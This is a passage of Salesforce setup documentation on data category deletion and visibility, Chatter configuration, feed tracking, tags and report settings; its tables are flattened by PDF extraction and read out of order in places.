What are Data Categories? Managing Data Categories Adding Data Categories to Category Groups Deleting Data Categories Keyboard Shortcuts For Data Categories

Deleting Data Categories


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view the Data Categories page: To create, edit, or delete data categories: View Data Categories Manage Data Categories

Caution: Deleting categories can result in long processing times, changes to the visibility of articles and questions, changes to the categorization of articles and questions, and other significant consequences. Read this entire topic carefully before deleting categories. To delete a category: 1. 2. 3. 4. 5. 6. Click Your Name > Setup > Customize > Data Categories. Click a category group name. Click a category name. If necessary, click Expand All to display all categories in the category group. Press DELETE, or choose Delete Category from the Actions drop-down list. Click OK in the confirmation dialog box. Choose how you want to reclassify articles associated with the deleted category or the deleted category's children: Assign the deleted category's parent category. Assign a different category. You can select any other category in this category group.

1451

Customize

Keyboard Shortcuts For Data Categories

Note: The category you select cannot be deleted itself before you save your work.

Do not assign the articles a new category in this category group.

In all cases, the articles retain their categories from other category groups. 7. Click Save. Deleting a category: Permanently removes it. It cannot be restored. It never appears in the Recycle Bin. Permanently deletes its child categories. As applicable, removes the category and its children from the Answers tab, the Article Management tab, the Articles tab in all channels, and your company's public knowledge base. Removes associations between the category and articles or questions. You can reassign articles and questions to another category. Removes its mapping to a role. Users in the role lose their visibility to articles and answers associated with the deleted category. Important: Modify the category hierarchy when user activity is low. Because the save process involves potentially large and complex recalculations, it may take a long time to complete. During processing, users may experience performance issues when searching for articles or questions or using category drop-down lists.

See Also:
What are Data Categories? Managing Data Categories Adding Data Categories to Category Groups Modifying and Positioning Data Categories Keyboard Shortcuts For Data Categories

Keyboard Shortcuts For Data Categories


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view the Data Categories page: To create, edit, or delete data categories: View Data Categories Manage Data Categories

Use the following keyboard shortcuts to work quickly with data categories. Task Adding a category Action Add a sibling to the selected category Keyboard Shortcut ENTER

1452

Customize

Keyboard Shortcuts For Data Categories

Task

Action Add a child to the selected category Close the Add Category field Save changes in the Add Category field

Keyboard Shortcut ENTER+TAB ESC ENTER

Modifying a category

Open the Edit Category field for the selected category SPACEBAR Close the Edit Category field. Save changes in the Edit Category field ESC ENTER TAB SHIFT+TAB DELETE UP ARROW DOWN ARROW LEFT ARROW RIGHT ARROW CTRL+Z CTRL+Y CTRL+S

Demoting or promoting a category

Demote a category down one level, as a child of the sibling currently above it Promote a category up one level, as a sibling to its current parent

Deleting a category Navigating in the category hierarchy

Delete the selected category and its children Move the focus up in the category hierarchy Move the focus down in the category hierarchy Collapse children in a parent category Expand children in a parent category

Canceling or repeating an action

Undo the last action Redo the last action

Saving the changes

Save the last changes in the category hierarchy

See Also:
Managing Data Categories Adding Data Categories to Category Groups Modifying and Positioning Data Categories Deleting Data Categories

About Category Group Visibility

1453

Customize

About Category Group Visibility

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view role details: To edit and delete roles: To view users: To edit users: To view categories: View Setup and Configuration Manage Users View Setup and Configuration Manage Users View Data Categories

In organizations that do not use roles, all data categories are visible. Once a role hierarchy is created, category group visibility determines the individual data categories, categorized articles, and categorized questions that a user can see. There are two types of visibility: Role-based category visibility Default category visibility

Role-based category visibility restricts access to categorized articles and questions by mapping data categories to roles. Users can only see the data categories permitted by their role. If your organization uses roles but does not assign one to every user, default category visibility allows you to provide category visibility to users without roles. For example, although high-volume portal users don't have roles, they can view categorized articles and questions if the associated categories are visible by default. Enforcement of Visibility Settings To ensure that users obtain a wide range of relevant information, category group visibility is broadly interpreted. Setting a category as visible makes that category and its entire directly related family lineancestors, immediate parent, primary children, other descendantsvisible to users. For example, consider a Geography category group with continents such as Asia and Europe at the top level, various countries at the second level, and cities at the third level. If France is the only visible category selected, then you can see articles classified with Europe, France, and all French cities. In other words, you can see categories that have a direct vertical relationship to France but you cannot see articles classified at or below Asia and the other continents. Note: Only the first-level categories in the category group are visible on the Answers tab. In the Geography example, only the continent categories appear on the Answers tab; therefore, if France is the category selected as visible in category group visibility settings, community members can see questions classified with Europe. Category group visibility settings are enforced on the Answers tab, the Article Management tab, the Articles tab in all channels (internal app, partner portal, and Customer Portal), and the public knowledge base. In the following areas, users only see the categories that their visibility settings allow: On the Article Management tab, when creating or editing articles On the Article Management tab and the Articles tab, the category drop-down menu for finding articles On the Answers tab, the categories listed below the community name

Initial Visibility Settings If roles have not been set up, all users can see all data categories. If a role hierarchy exists but the category group visibility settings have not been modified, all roles have access to all data categories. Users who are not assigned to a role only see uncategorized articles and questions unless you make the associated categories visible by default. Role-based visibility settings

1454

Customize

About Category Group Visibility

restrict default visibility settings; in other words, even if a data category is visible by default, it cannot be seen by a user whose role restricts access to that data category. Inheritance of Role-Based Visibility Settings Child roles inherit their parent role's settings and are kept in sync with changes to the parent role. You can customize and reduce the child role's visibility, but you cannot increase it to be greater than that of the parent role. By default, Customer Portal users and partner portal users inherit the category group visibility settings assigned to their account managers. You can change the category group visibility settings for each portal role. Because high-volume portal users don't have roles, you must designate default visibility settings before these users can view categorized articles and questions. Visibility of Categorized Articles A user can see an article if he or she can see at least one category per category group on the article. For example, consider an article that is classified with California and Ohio in the Geography category group and Desktop in the Products category group: If you have visibility on Ohio and Desktop (but not California), you can see the article. If you don't have visibility on either California or Ohio but do have visibility on Desktop, you do not see the article. If you have visibility on California but not Desktop, you do not see the article.

Revoked Visibility A role's visibility can be revoked (set to None) for a particular category group. Users in the target role can only see articles and questions that aren't classified with a category in that category group. For example, if a user's role has revoked visibility in the Geography category group but visibility to the Products category group, he or she can only see articles that have no categories in Geography and are classified with a category in Products. Because an answers community can only be assigned to one category group, if the Geography category group was assigned to the community and a member's role visibility was revoked for that group, the member could only see uncategorized questions.

See Also:
What are Data Categories? Editing Role-Based Category Group Visibility Modifying Default Data Category Visibility Examples of Category Group Visibility Settings for Articles Viewing Category Group Visibility on Roles

Editing Role-Based Category Group Visibility

1455

Customize

Editing Role-Based Category Group Visibility

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view role details: To edit and delete roles: To view users: To edit users: To view categories: View Setup and Configuration Manage Users View Setup and Configuration Manage Users View Data Categories

Watch a Demo (2 minutes) In organizations that do not use roles, all data categories are visible. Once a role hierarchy is created, category group visibility determines the individual data categories, categorized articles, and categorized questions that a user can see. There are two types of visibility: Role-based category visibility Default category visibility

Role-based category visibility restricts access to categorized articles and questions by mapping data categories to roles. Users can only see the data categories permitted by their role. If your organization uses roles but does not assign one to every user, default category visibility allows you to provide category visibility to users without roles. For example, although high-volume portal users don't have roles, they can view categorized articles and questions if the associated categories are visible by default. To edit a role's category group visibility setting: 1. Click Your Name > Setup > Manage Users > Role and select a role. If the role is for a Customer Portal or partner portal user, click Your Name > Setup > Manage Users > Users and click the name of the role. 2. In the Category Group Visibility Settings related list, click Edit next to the category group you want to modify. Alternatively, click the name of a category group and then click Edit. 3. Select a visibility setting: Visibility Setting
All

Description Users can see all categories in the category group. This option is only available for the topmost role in the role hierarchy. When you create a new category group, its visibility is defaulted to All for the topmost role in the role hierarchy, and all subordinate roles inherit that setting. The role inherits its parent role's visibility settings. If the parent role's settings change, the child role stays in sync. Click the name of the parent role to see its category group visibility settings. Users cannot see any categories in the category group.

Inherited from... None

1456

Customize

Editing Role-Based Category Group Visibility

Visibility Setting
Custom

Description Users see your custom selection of categories. You can choose from the categories that are visible to the parent role. If the parent role's visibility changes to be less than its child's visibility, the child role's category visibility is reset to its parent's category visibility. To select categories, double-click the category in the Available Categories box. Alternatively, select a category and then click Add. Selecting a category implicitly includes its child and parent categories as well. Categories that are grayed out in the All Categories box are not available for selection because their parent has already been selected. Note: If you are customizing a role that was previously set to All Categories, you must first remove All from the Selected Categories box before you can select specific categories.

4. Click Save. Implementation Tips When you create a new category group, its visibility is defaulted to All for the topmost role in the role hierarchy, and all subordinate roles inherit that setting. When you add a category to a role's visibility, you also grant visibility to its child and parent categories. If you want to give a role access to all categories in a branch of the category hierarchy, select the top level category All Categories. Users who are not assigned to a role can only see uncategorized articles and questions unless: The user has the View all Data permission A category group has been made visible to all no-role users on the Your Name > Setup > Customize > Data Categories > Category Group Visibility page. By default, Customer Portal users and partner portal users inherit the role assigned to their account managers. You can change the category group visibility settings for each portal role.

Best Practices Keep your category groups deactivated to set up your category hierarchy and assign role-based category visibility. Until you manually activate a category group, it does not display in Salesforce Knowledge or your answers community Always set up category group visibility in a top-down approach from the top of the role hierarchy down to the bottom. Give the highest roles the most visibility and give subordinate roles reduced visibility.

See Also:
Managing Data Categories About Category Group Visibility Examples of Category Group Visibility Settings for Articles

Modifying Default Data Category Visibility

1457

Customize

Modifying Default Data Category Visibility

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view categories: To manage data categories: To assign default category groups: View Data Categories Manage Data Categories Manage Data Categories

In organizations that do not use roles, all data categories are visible. Once a role hierarchy is created, category group visibility determines the individual data categories, categorized articles, and categorized questions that a user can see. There are two types of visibility: Role-based category visibility Default category visibility

Role-based category visibility restricts access to categorized articles and questions by mapping data categories to roles. Users can only see the data categories permitted by their role. If your organization uses roles but does not assign one to every user, default category visibility allows you to provide category visibility to users without roles. For example, although high-volume portal users don't have roles, they can view categorized articles and questions if the associated categories are visible by default. To modify the default visibility for data categories: 1. Click Your Name > Setup > Customize > Data Categories > Default Data Category Visibility. All active and inactive category groups are listed. 2. Pick a category group and click Edit. 3. Choose All to make all the categories in the category group visible by default, None to make none of the categories visible by default, or Custom to make some of the categories visible by default. 4. If you chose Custom, move categories from the Available Categories area to the Selected Categories area as needed. Selecting a category implicitly includes its child and parent categories as well. Move categories from the Selected Categories area back to the Available Categories area to remove default visibility. For important information about how visibility settings are applied, see About Category Group Visibility on page 1453.

See Also:
What are Data Categories? About Category Group Visibility How Category Visibility Differs from Other Salesforce Models

Viewing Category Group Visibility on Roles

1458

Customize

Viewing Category Group Visibility on Roles

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view role details: To edit and delete roles: To view users: To edit users: To view categories: View Setup and Configuration Manage Users View Setup and Configuration Manage Users View Data Categories

In organizations that do not use roles, all data categories are visible. Once a role hierarchy is created, category group visibility determines the individual data categories, categorized articles, and categorized questions that a user can see. There are two types of visibility: Role-based category visibility Default category visibility

Role-based category visibility restricts access to categorized articles and questions by mapping data categories to roles. Users can only see the data categories permitted by their role. If your organization uses roles but does not assign one to every user, default category visibility allows you to provide category visibility to users without roles. For example, although high-volume portal users don't have roles, they can view categorized articles and questions if the associated categories are visible by default. To understand the settings and their impact, see About Category Group Visibility on page 1453. Viewing a Role's Category Group Visibility To view a role's category visibility setting, click Your Name > Setup > Manage Users > Roles, and select a role. To view the category visibility settings for a Customer Portal or partner portal role, click Your Name > Setup > Manage Users > Users and click the name of the role. The Category Group Visibility Settings related list summarizes which categories users in the role can see, according to category group. The following table explains the possible values in the Visibility column of the related list: Visibility
All

Description Users can see all categories in the category group. This option is only available for the topmost role in the role hierarchy. When you create a new category group, its visibility is defaulted to All for the topmost role in the role hierarchy, and all subordinate roles inherit that setting. The role inherits its parent role's visibility settings. If the parent role's settings change, the child role stays in sync. Click the name of the parent role to see its category group visibility settings. Users cannot see any categories in the category group. Users can view a selection of categories in the category group.

Inherited from...

None Custom

1459

Customize

How Category Visibility Differs from Other Salesforce Models

In the Category Group Visibility Settings related list, you can: Click a category group to view its setting details. Click Edit next to a category group to modify its visibility settings.

See Also:
Managing Data Categories About Category Group Visibility Editing Role-Based Category Group Visibility Examples of Category Group Visibility Settings for Articles

How Category Visibility Differs from Other Salesforce Models


Available in: Enterprise, Unlimited, and Developer Editions

In organizations that do not use roles, all data categories are visible. Once a role hierarchy is created, category group visibility determines the individual data categories, categorized articles, and categorized questions that a user can see. There are two types of visibility: Role-based category visibility Default category visibility

Role-based category visibility restricts access to categorized articles and questions by mapping data categories to roles. Users can only see the data categories permitted by their role. If your organization uses roles but does not assign one to every user, default category visibility allows you to provide category visibility to users without roles. For example, although high-volume portal users don't have roles, they can view categorized articles and questions if the associated categories are visible by default. These settings are unique to articles and questions and differ from other Salesforce models: Exclusive to articles and questions Access to articles and questions are determined by category group visibility settings. Although they are standard objects, articles and questions do not have organization-wide defaults, sharing rules, manual record sharing, or object-level permissions like Create or Read. Role-based access Category group visibility settings are based on roles. Child roles cannot see more categories than their parent role. To change a user's visibility to categories and therefore categorized articles and questions, you must change the visibility settings for the user's current role, move the user to a different role, or, if the user doesn't have a role, make certain categories visible to all users. Broad interpretation of visibility settings To ensure that users obtain a wide range of relevant information, category group visibility is broadly interpreted. Setting a category as visible makes that category and its entire directly related family lineancestors, immediate parent, primary children, other descendantsvisible to users. For example, consider a Geography category group with continents such as Asia and Europe at the top level, various countries at the second level, and cities at the third level. If France is the

1460

Customize

Examples of Category Group Visibility Settings for Articles

only visible category selected, then you can see articles classified with Europe, France, and all French cities. In other words, you can see categories that have a direct vertical relationship to France but you cannot see articles classified at or below Asia and the other continents. Note: Only the first-level categories in the category group are visible on the Answers tab. In the Geography example, only the continent categories appear on the Answers tab; therefore, if France is the category selected as visible in category group visibility settings, community members can see questions classified with Europe.

See Also:
Managing Data Categories About Category Group Visibility Viewing Category Group Visibility on Roles Editing Role-Based Category Group Visibility Examples of Category Group Visibility Settings for Articles

Examples of Category Group Visibility Settings for Articles


Available in: Enterprise, Unlimited, and Developer Editions

In organizations that do not use roles, all data categories are visible. Once a role hierarchy is created, category group visibility determines the individual data categories, categorized articles, and categorized questions that a user can see. There are two types of visibility: Role-based category visibility Default category visibility

Role-based category visibility restricts access to categorized articles and questions by mapping data categories to roles. Users can only see the data categories permitted by their role. If your organization uses roles but does not assign one to every user, default category visibility allows you to provide category visibility to users without roles. For example, although high-volume portal users don't have roles, they can view categorized articles and questions if the associated categories are visible by default. These examples are based on two sample category groups, Products and Geography: Note: Although category group visiblity settings are available with answers communities (questions) and Salesforce Knowledge (articles), the examples below apply to articles only. Answers communities support one category group and one data category per question. Products Category Group All Products Consumer Electronics Cameras Audio Printers

1461

Customize

Examples of Category Group Visibility Settings for Articles

Enterprise Electronics Routers Switches PEX

Computers Laptops Desktops PDAs

Geography Category Group All Countries Americas USA Canada Brazil

Asia China Japan India

Europe France United Kingdom Poland

Example 1: A Role Hierarchy In this example, the Acme Electronics organization manufactures hardware and provides customer support for both consumers and enterprises. The Engineering department is organized by products. The Support department is organized geographically. Europe and the Americas are managed by corporate teams, but Asia is outsourced. Within the corporate and outsourced teams, there are subteams dedicated either to consumer or enterprise support. The table below shows the categories visible to each role in the Acme Electronics organization, and states whether the visibility settings are inherited from the parent role or custom. Acme Electronics Role Hierarchy Visible Geographic Categories CEO All Countries Visible Product Categories All Products

1462

Customize

Examples of Category Group Visibility Settings for Articles

Acme Electronics Role Hierarchy Visible Geographic Categories VP of Engineering All Countries Inherit from CEO Consumer Engineering Team Enterprise Engineering Team Computers Engineering Team VP of Support All Countries Inherit from VP of Engineering All Countries Inherit from VP of Engineering All Countries Inherit from VP of Engineering All Countries Inherit from CEO VP of Corporate Support Europe, America Custom Director of Corporate Consumer Support Director of Corporate Enterprise Support Outsourced Support Europe, America Inherit from VP of Corporate Support Europe, America Inherit from VP of Corporate Support Asia Custom Consumer Support Team Asia Inherit from Outsourced Support Enterprise Support Team Asia Inherit from Outsourced Support

Visible Product Categories All Products Inherit from CEO Consumer Electronics Custom Enterprise Electronics Custom Computers Custom All Products Inherit from CEO All Products Inherit from VP of Support Consumer Electronics, Computers Custom Enterprise Electronics, Computers Custom All Products Inherit from VP of Support Consumer Electronics, Computers Custom Enterprise Electronics, Computers Custom

Example 2: Article Visibility The table below is an in-depth example of how category visibility settings restrict what users see. This example has three sample users whose category settings are noted in parentheses. Table 1: Example: How Category Visibility Settings Restrict What Users See Categories When User 1's visibility isAll When User 2's visibilty When User 3's visibility is countries/Computers, the isAmerica/All products, the France/None, the category category is: category is: is: VISIBLE VISIBLE VISIBLE VISIBLE VISIBLE VISIBLE NOT VISIBLE NOT VISIBLE NOT VISIBLE

All countries/Laptop Canada/Computers USA/All products

1463

Customize

Setting Up Chatter

Categories

When User 1's visibility isAll When User 2's visibilty When User 3's visibility is countries/Computers, the isAmerica/All products, the France/None, the category category is: category is: is: NOT VISIBLE VISIBLE NOT VISIBLE NOT VISIBLE NOT VISIBLE VISIBLE

Europe/Switches Europe/No Categories

User 1: The user's role must be granted visibility in each category that classifies the article, or each category that classifies the article must be visible by default.In this example, User 1 can see Europe, because Europe is the child of All Countries, but he cannot see Switches, because Switches does not belong to Computers. That's why User 1 cannot see articles classified with Europe/Switches. User 2: When a category is made visible to a role or is made visible by default, its child and parent categories are implicitly included; therefore, User 2 can see articles categorized with All Countries because it is the parent category of America. He can also see Articles classified with USA because it is the child of America. User 3: If a role has no access to the whole category group, he can only see articles that are not categorized in that group. User 3 cannot see the articles categorized with All countries/Laptop because he has no visibility in the category group that includes Laptop, but he can see articles categorized with Europe/No categories.

See Also:
Managing Data Categories About Category Group Visibility Viewing Category Group Visibility on Roles Editing Role-Based Category Group Visibility How Category Visibility Differs from Other Salesforce Models

SALESFORCE CHATTER
Setting Up Chatter
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, Developer, and Database.com Editions The Chatter user interface, Chatter Invitations, and Chatter Recommendations are not available in Database.com.

User Permissions Needed To enable Chatter: Customize Application

To set up Chatter, an administrator must: 1. Enable and configure Chatter. 2. Turn on invitations so that users can invite coworkers without Salesforce licenses to join Chatter for your organization.

1464

Customize

Enabling, Disabling, and Configuring Chatter

3. Customize feed tracking for objects and fields tracked in Chatter feeds. 4. Optionally add the People, Profile, and Groups tabs to standard and custom apps so users can see these tabs in their apps. Note: The Chatter, People, Profile and Groups tabs are available by default in the Chatter app.

5. Optionally, populate the Manager user field for each user. This allows Chatter to include a person's manager and direct reports in their people recommendations. It also allows Chatter to recommend records that someone's manager and direct reports own or follow.

See Also:
Using Chatter Chatter FAQs

Enabling, Disabling, and Configuring Chatter


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, Developer, and Database.com Editions Salesforce CRM, Approvals, Chatter email notifications, Chatter Invitations, and customer invitations are not available in Database.com.

User Permissions Needed To enable Chatter: Customize Application

Enable Chatter to turn on Chatter feeds, groups, and profiles so people in your organization can collaborate with each other. Note: Chatter is enabled by default for organizations created after June 22, 2010.

1. 2. 3. 4.

Click Your Name > Setup > Customize > Chatter > Settings. Click Edit. Select Enable. Deselect to disable Chatter. Click Save.

Consider the following tips when enabling Chatter: Enabling Chatter also enables the new user interface theme, which updates the look and feel of Salesforce. Enabling Chatter also enables Global Search, which allows searching across Salesforce, including Chatter feeds, files, groups, and people. When Chatter is enabled for organizations with 15 or fewer users, all users automatically follow each other. After enabling Chatter, you can also enable Chatter Mobile for supported mobile devices.

1465

Customize

Enabling, Disabling, and Configuring Chatter

Configuring Chatter Settings Customize how you want Chatter to work in your organization. If you want to allow users to: Choose to receive email notifications about Chatter updates, select Allow Emails. This allows each person to select which email notifications are relevant to them. This only turns emails on or off; it doesn't control the type or frequency of emails that people receive. Reply to email notifications to post comments or reply to Chatter messages, select Allow Email Replies. Replies are subject to these advanced email authentication protocols to verify the sender's legitimacy before processing the message: SPF, SenderId, DomainKeys, and DKIM. If the sending server doesnt fail any of these protocols, the reply email is processed. If the server fails a protocol, the email is ignored. If your organization has Approvals in Chatter enabled, select Allow Approvals to enable users to receive approval requests as posts in Chatter. Only users with access to the approval record can see the approval request post. Comments on approval posts aren't persisted to the approval record. Select Allow Invitations to let users invite people to join Chatter for your company. Important: Starting in June 2011, invitations are automatically turned on for new Salesforce organizations and the Email Domain is set based on the first user's email address. Invitations aren't turned on if the user's domain is a free email provider such as yahoo.com or gmail.com. Invited users can access Chatter people, profiles, groups, and files but cant see record data unless they have a Salesforce license. If you deselect Allow Invitations, users can't accept outstanding invitations. Similarly, if you remove an email domain, users can't accept outstanding invitations from that domain. Enter email domains to define who can join Chatter for your organization. The domains you enter should include those used in email addresses for your company, such as yourcompany.com. Important: We recommend that you don't enter public email domains such as hotmail.com, yahoo.com, or gmail.com. If invited, anyone with an email address in these domains can join and see user profiles, feeds, and Chatter groups. Select Allow Customer Invitations to allow creation of Chatter groups that allow customers, and allow group managers and owners to invite customers to those groups. Customers are users outside of your company's email domains. They have very limited Chatter access and can only see groups they're invited to and interact with members of those groups.

See Also:
Chatter Overview Setting Up Chatter Using Chatter Replying to Chatter Email Notifications Getting Started With Approvals in Chatter Chatter FAQs

Enabling or Disabling Chatter Customer Invitations

1466

Customize

Enabling or Disabling Chatter Customer Invitations

Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

User Permissions Needed To enable Chatter customer invitations: Customize Application

Enable Chatter customer invitations so people can create Chatter groups that allow customers, and group managers and owners can invite customers to join groups. Customers are users outside of your company's email domains. They have very limited Chatter access and can only see groups they're invited to and interact with members of those groups. 1. Click Your Name > Setup > Customize > Chatter > Settings. 2. Click Edit. 3. Select Allow Customer Invitations. Deselecting this turns off customer invitations. Note: Turning off customer invitations won't delete existing customers or groups that allow customers. Additionally, administrators can still create customer users in Name > Setup > Manage Users > Users. 4. Click Save.

See Also:
About Chatter Customers in Private Groups

Customizing Chatter Feed Tracking


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, Developer, and Database.com Editions The Account, Case, Contact, Lead, Opportunity and User objects are not available in Database.com.

User Permissions Needed To customize fields tracked in feeds: To view the field tracking setup page: Customize Application View Setup and Configuration

Feed tracking is available for objects and fields: Enable objects for feed tracking so people can follow records of that object type and see Chatter feed updates when records of that object type are created. For example, if you enable the account object, people can follow account records and see feed updates when they create accounts. Enable fields for feed tracking so people can see Chatter feed updates about changes to fields on records they follow. For example, if you enable the Billing Address field on accounts, people see updates when Billing Address is changed on accounts they follow.

1467

Customize

Customizing Chatter Feed Tracking

Sharing rules and field-level security determine visibility of record changes in Chatter feeds; you must be able to see a record in order to see changes to that record in feeds. Tracked feed updates that are older than 90 days and have no likes or comments are deleted automatically. You can configure feed tracking for users, Chatter groups, custom objects, and the following standard objects: accounts, article types, assets, campaigns, cases, contacts, contracts, dashboards, events, leads, opportunities, products, reports, solutions, and tasks. 1. 2. 3. 4. 5. 6. Click Your Name > Setup > Customize > Chatter > Feed Tracking. Select an object. Select Enable Feed Tracking. The user and Chatter group objects don't have this checkbox. Select up to 20 fields to track. You can't select fields for article types. Click Save. Optionally, repeat steps 2 through 5 for additional objects.

Consider the following feed tracking tips: These objects and fields are tracked by default: Account: Account Name, Account Owner Case: Case Owner, Priority, Status Chatter Group: Allow Customers, Description, Group Access, Information Body, Information Title, Name, Owner Name Contact: Account Name, Contact Owner, Name Lead: Lead Owner, Lead Status, Name Note: When a lead is converted, Chatter feed posts associated with the lead arent migrated. The lead posts are no longer available in the Chatter feed. Opportunity: Amount, Close Date, Opportunity Name, Opportunity Owner, Stage User: About Me, Address, E-mail, Manager, Phone, Title To stop tracking an object, deselect Enable Feed Tracking. You can't disable feed tracking for the user or Chatter group objects. You must track the owner field to enable a new record owner to automatically follow that record. For example, if the Account Owner field isn't tracked and someone changes the owner of an account, the new owner won't automatically follow the account. To restore the default feed tracking settings for an object, click Restore Defaults. For person accounts, select the account and contact fields you want to track. For example, select the Email field on account to see a Chatter post any time someone changes the email on a person account. The following standard field types can't be tracked: Auto-number, formula, and roll-up summary fields Encrypted and read-only system fields The Expected Revenue field on opportunities The Solution Title and Solution Details fields on solutions; these fields display only for translated solutions in organizations with multilingual solutions enabled

Feed tracking for events doesn't include requested meetings. Once a requested meeting is confirmed and becomes an event, then it can be included in feeds.

1468

Customize

Enabling and Configuring Social Contacts

While you can follow activities and knowledge articles in a Chatter feed, the activity and knowledge article list views is not available.

Follow button in the Action column for

See Also:
Chatter Feeds Overview Using Chatter Feeds Enabling, Disabling, and Configuring Chatter

SOCIAL CONTACTS
Enabling and Configuring Social Contacts
Available in: All Editions except Database.com

User Permissions Needed To enable, configure, or disable Social Contacts: Customize Application

Enable Social Contacts so your users can keep up to date on their contacts' social profiles without leaving Salesforce. You can also configure the social networks that are available for your organization, if needed. Note: The Social Contacts feature is enabled by default for organizations created after October 7, 2011. If your organization was created before that, you need to enable the feature yourself. 1. 2. 3. 4. Click Your Name > Setup > Customize > Social Contacts > Settings. Click Change your organization's Social Contacts settings. Select Enable Social Contacts. To disable Social Contacts for everyone, deselect this checkbox. Select the social networks that your organization may use. Deselect any of the services that you want to turn off for your organization. By default, all social networks are turned on. 5. Click Save.

See Also:
Social Contacts Overview

1469

Customize

Tags Settings

Tags Settings
Tag settings available in: All Editions

User Permissions Needed To modify tag settings: Customize Application

Administrators set up and manage personal and public tags by: Enabling tags for accounts, activities, assets, campaigns, cases, contacts, contracts, dashboards, documents, events, leads, notes, opportunities, reports, solutions, tasks, and any custom objects (except relationship group members) Adding tags to the sidebar for their users Deleting personal tags for deactivated users

See Also:
Using the Tags Sidebar Component Tagging Records

Enabling Tags
Tag settings available in: All Editions

User Permissions Needed To modify tag settings: Customize Application

1. Click Your Name > Setup > Customize > Tags > Tag Settings. 2. Select Enable Personal Tags and Enable Public Tags to allow users to add personal and public tags to records. Deselect both options to disable tags. 3. Specify which objects and page layouts should display tags in a tag section at the top of record detail pages. The tag section is the only way that a user can add tags to a record. For example, if you only select account page layouts, users in your organization can only tag account records. Additionally, if you only select account page layouts for personal tags and not public tags, users can only tag account records with personal tags. 4. Click Save. Use these tips when enabling tags.

1470

Customize

Tags Settings

When you enable tags, you can also add them to a page layout by editing the page layout directly. See Customizing Page Layouts on page 1191. Search results and the Tags page don't display custom objects that don't have an associated tab, even if tags are enabled for the custom object. If you want custom object records to appear in search results or on the Tags page, you must create an associated tab. The tab doesn't have to be visible to users. Customer Portal users can't view the tags section of a page, even if it is included in a page layout.

See Also:
Tags Overview Adding Tags to the Sidebar Using the Tags Sidebar Component Tagging Records Deleting Personal Tags for Deactivated Users

Adding Tags to the Sidebar


Tag settings available in: All Editions

User Permissions Needed To modify tag settings: Customize Application

When you enable tags for your organization, you can add the Tags component to your users' sidebar. This component allows users to navigate to the Tags page where they can browse, search, and manage their tags. It also lists each user's most recently used tags. To add this component: 1. 2. 3. 4. Click Your Name > Setup > Customize > Home > Home Page Layouts. Next to a home page layout that you want to modify, click Edit. Select the Tags checkbox and click Next. Arrange the Tags component on your page layout as desired, and click Save. Tip: If you want the Tags component to appear on all pages and not just the Home tab, click Your Name > Setup > Customize > User Interface, and select Show Custom Sidebar Components on All Pages.

See Also:
Using the Tags Sidebar Component

Deleting Personal Tags for Deactivated Users

1471

Customize

Customizing Report and Dashboard Settings

Personal Tag Cleanup available in: All Editions

User Permissions Needed To delete personal tags for deactivated users: Customize Application

Your organization can have a maximum of 5,000,000 personal and public tags applied to records across all users. If your organization is approaching this limit, you can delete personal tags for deactivated users. 1. Click Your Name > Setup > Customize > Tags > Personal Tag Cleanup. 2. Select one or more deactivated users and click Delete. You can't restore personal tags after you delete them.

See Also:
Tags Limits Enabling Tags Using the Tags Sidebar Component Tagging Records

REPORTS & DASHBOARDS


Customizing Report and Dashboard Settings
Available in: All Editions except Database.com

User Permissions Needed To modify report and dashboard settings: Customize Application

Administrators can set up and manage report and dashboard settings from the Reports & Dashboards page. To get to this page, click Your Name > Setup > Customize > Reports & Dashboards and click the following links to access report and dashboard settings: Customize report and dashboard user interface settingsControl features of the report and dashboard user interface, such as floating report headers, the auto-complete Dashboard Finder, and charting options. Customize report and dashboard email settingsControl the way email notifications are sent, including image handling in dashboard emails for Lotus Notes users and sending reports and dashboard refresh notifications to portal users.

1472

Customize

Customizing Report and Dashboard User Interface Settings

Customize report foldersClick this link to go to the last open report folder. From there, you can edit folder properties, such as name, access, and sharing.

See Also:
Customizing Report and Dashboard User Interface Settings Customizing Report and Dashboard Email Settings Enabling Mobile Dashboards for iPad Users

Customizing Report and Dashboard User Interface Settings


Available in: All Editions except Database.com

User Permissions Needed To modify report and dashboard settings: Customize Application

To change your organization's report and dashboard user interface settings: 1. Click Your Name > Setup > Customize > Reports & Dashboards > User Interface Settings. 2. Select or deselect the following checkboxes to modify the settings for your organization: Enable Floating Report Headers Floating report headers keep the column headings on tabular reports in sight no matter how far users scroll down report results. With floating report headers, users can scroll to the bottom of lengthy tabular reports without having to scroll back to the top to view the names of the column headings. Users can also click floating report headers to sort data in a specific column. When users sort data by clicking a floating report heading, the report refreshes and redirects users to the beginning of report results. Enable Dashboard Finder Dashboard finder uses auto-complete to help you quickly find dashboards in the Dashboards tab. This option is enabled by default. To find a dashboard on the Dashboards tab, start typing its name in the search filter, and all dashboards matching that text are dynamically displayed in the drop-down list. The first 1000 results are shown in a single list; above 1000, results are shown 500 per page. Users only see dashboards in folders they can access. Disable this option to use the static drop-down list instead. Important: Dashboard finder is automatically disabled for all users with access to more than 20,000 dashboards. These users are defaulted to the static drop-down list on the Dashboards tabeven if this option is enabled. For Internet Explorer 6, dashboard finder is automatically disabled for users with access to more than 1000 dashboards. Enable Dashboard Component Snapshots Dashboard component snapshots allow people with access to dashboards to post static images of dashboard components to Chatter user feeds, making the snapshot visible to all users.

1473

Customize

Upgrading Report Builder

Important: This option lets users override dashboard visibility settings and make snapshots visible to all Chatter users. Though this makes it easy to share time-specific data without having to add people to dashboard folders, be aware that users could inadvertently post sensitive or confidential information. 3. Click Save.

See Also:
Customizing Report and Dashboard Settings Enabling Mobile Dashboards for iPad Users

Upgrading Report Builder


Available in: All Editions except Database.com

User Permissions Needed To modify report and dashboard settings: Customize Application

We've released an updated version of report builder, the powerful drag-and-drop editor for reports. With this upgrade: All profiles get access to the report builder by default. (You may continue to see the Report Builder permission in permission sets and profiles, and the PermissionSet and Profile objects in the API, though the upgrade overrides those settings.) The old report wizard will be available only to users in Accessibility Mode. Group and Professional Edition organizations can use report builder. You get scatter charts, a new chart type for reports.

